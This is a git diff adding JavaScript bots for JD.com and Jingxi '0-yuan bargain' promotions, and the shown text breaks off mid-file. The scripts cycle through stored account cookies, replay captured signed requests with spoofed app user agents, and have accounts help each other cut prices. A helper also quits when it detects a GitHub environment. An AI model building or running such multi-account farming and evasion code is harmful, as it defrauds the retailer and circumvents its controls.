`https://m.jingxi.com/kjactive/jxhlk/jxhlk_showpage?pageindex=1&pagenum=10&launchid=&_stk=launchid%2Cpageindex%2Cpagenum&_ste=1&h5st=20210611124834764%3B9239928912872162%3B10029%3Btk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7%2FRM9cwNQBA92KZHoHeloSktjcQEdy%2FEXtm5u1WsoLf%2F6pNyP%3B05df15c1c37911547393fc59f29a13f564d1f0fb7d7da9d6d0c2b0b6a7c9ffdc&t=1623386914770&_=1623386914770&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D + // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, + headers: { + "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async(err, resp, data) => { + try { + + data = data.match(/(\{[^()]+\}.+)/)[1] + + //console.log(data) + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + list = reust.data.freezone + for (let i = 0; i < list.length; i++) { + $.log(`商品:${list[i].skutitle}\n商品iD:${list[i].active}\n需要邀请:${list[i].needhelpnum}人 免费带回家`) + + } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function checkaddress() { + return new Promise(async(resolve) => { + + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_checkaddress?active=${active}&addressid=&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, + //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D + // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, + headers: { + "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async(err, resp, data) => { + try { + + data = data.match(/(\{[^()]+\}.+)/)[1] + + //console.log(data) + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + //list = reust.data.freezone + //for (let i = 0; i < list.length; i++) { + $.provinceid = reust.data.provinceid + $.cityid = reust.data.cityid + $.countyid = reust.data.countyid + $.log(`\n确认收货地址\n商品:${reust.data.skutitle}\n地址:${reust.data.address}`) + + // } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function join() { + return new Promise(async(resolve) => { + + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_launch?active=${active}&provinceid=${$.provinceid}&cityid=${$.cityid}&countyid=${$.countyid}&_stk=active,cityid,countyid,provinceid&_ste=1&h5st=20210611134802301;9239928912872162;10029;tk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7/RM9cwNQBA92KZHoHeloSktjcQEdy/EXtm5u1WsoLf/6pNyP;9a5fc97afa527c0cfa083a7d2d948c0308bdb2d78413eb8ea5d17e336af71dc2&t=1623390482324&_=1623390482325&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, + //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D + // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, + headers: { + "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async(err, resp, data) => { + try { + + data = data.match(/(\{[^()]+\}.+)/)[1] + + //console.log(data) + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + $.launchid = restlt.launchid + $.log(`\n参加砍价成功 你当前商品邀请码:${restlt.launchid}`) + + // } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function help() { + return new Promise(async(resolve) => { + + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_queryhelp?launchid=${launchid}&clicktype=1&nomoving=0&_stk=clicktype,launchid,nomoving&_ste=1&h5st=20210611141713782;4277367680239161;10029;tk01wea971d94a8nWUlYSjgyLzZKSU1igyCeoCUlN/xTTrRT7O3uvmUqievWdR1PWX5HYelOXXDFofE6gtFirtyXBLjY;787c9125d6eaf59d5fb81bcdea2b58481e4e395402191379b47fbec7470c67b3&t=1623392233807&_=1623392233808&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, + + headers: { + "Referer": `https://st.jingxi.com/sns/202103/20/jxhlk/list.html?launchid=${launchid}&ptag=139022.1.2&srv=jx_cxyw_https://wq.jd.com/cube/front/activePublish/jxhlkv2/486449.html?ptag=139022.1.2_jing`, + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async(err, resp, data) => { + try { + + data = data.match(/(\{[^()]+\}.+)/)[1] + + //console.log(options) + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + //$.launchid=restlt.launchid + $.log(`\n${reust.data.guestinfo.contenttips}`) + + // } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + +async function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } + } + return new class { + constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s + } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { e = "" } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { this.logErr(t) } + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_kanjia3.js b/backUp/jd_kanjia3.js new file mode 100644 index 0000000..7c874fc --- /dev/null +++ b/backUp/jd_kanjia3.js @@ -0,0 +1,399 @@ +/* +第一步 运行脚本一次日志查看商品ID +获取你要砍价的ID后变量填写 +export skuId="这里填获取的商品ID" +第二部 再运行一次日志查看商品activityId变量填写 +export activity="这里填获取的商品activityId" +入口 京东 我的 0元砍价 +*/ +// [task_local] +// 30 */1 * * * + + +const $ = new Env('柠檬0元砍价'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let skuId = ''; //你要参加砍价的商品ID +let activity = ''; //看日志查看你的activity 比如export activity="854366883120689152" +if (process.env.skuId) { + skuId = process.env.skuId; +} +if (process.env.activity) { + activity = process.env.activity; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await list1() + await list() + await join() + for (let i = 0 ; i < 5; i++){ + await dotask(9,"") + await dotask(3,"") + await dotask(4,"") + await dotask(2,"810502,10025483,714532,") +} + await help() + await info() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function list1() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=queryHomePage&body={}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.msg == "success"){ + let taskList = data.canBargain + for (let i = 0 ; i < taskList.length; i++){ + + skuName = taskList[i].skuName + Id = taskList[i].skuId + allPrice = taskList[i].allPrice + $.log(`\n商品:${skuName}\n商品ID:${Id}\n商品价格: ${allPrice}`) + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function list() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=queryBargainGoods&body={"pageNo":0,"source":0,"skuId":""}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.msg == "success"){ + let taskList = data.bargainGoods + for (let i = 0 ; i < taskList.length; i++){ + + skuName = taskList[i].skuName + Id = taskList[i].skuId + allPrice = taskList[i].allPrice + $.log(`\n商品:${skuName}\n商品ID:${Id}\n商品价格: ${allPrice}`) + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function join() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=cutPriceBySelf&body={"skuId":"${skuId}","useCoupon":1}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.msg == "success"){ + + + activityId = data.activityId + + $.log(`\n商品activityId:${activityId}\n还差砍价:${data.proportion}`) + + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function dotask(taskId,taskInfo) { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=cutPriceByTask&body={"activityId":"${activityId}","taskId":${taskId},"taskInfo":"${taskInfo}"}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.status == 0){ + + $.log(`\n砍价任务砍掉:${data.cutPrice}`) +}else if(data.status == 1){ + $.log(`\n砍价任务已经完成`) +} + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function help() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=cutPriceByUser&body={"activityId":"${activity}","userName":"","followShop":0,"shopId":662265,"userPic":""}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.status == 0){ + $.log(`\n这位兄弟帮你砍了:${data.cutPrice}`) + }else if(data.status == 1){ + $.log(`\n这位兄弟已经帮你砍过了`) +} + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function info() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=bargainDetail&body={"activityId":"${activityId}","sku":"${skuId}"}&client=wh5&clientVersion=1.0.0`, +headers: { +"Origin": "https://h5.m.jd.com", +"Host": "api.m.jd.com", + "User-Agent": 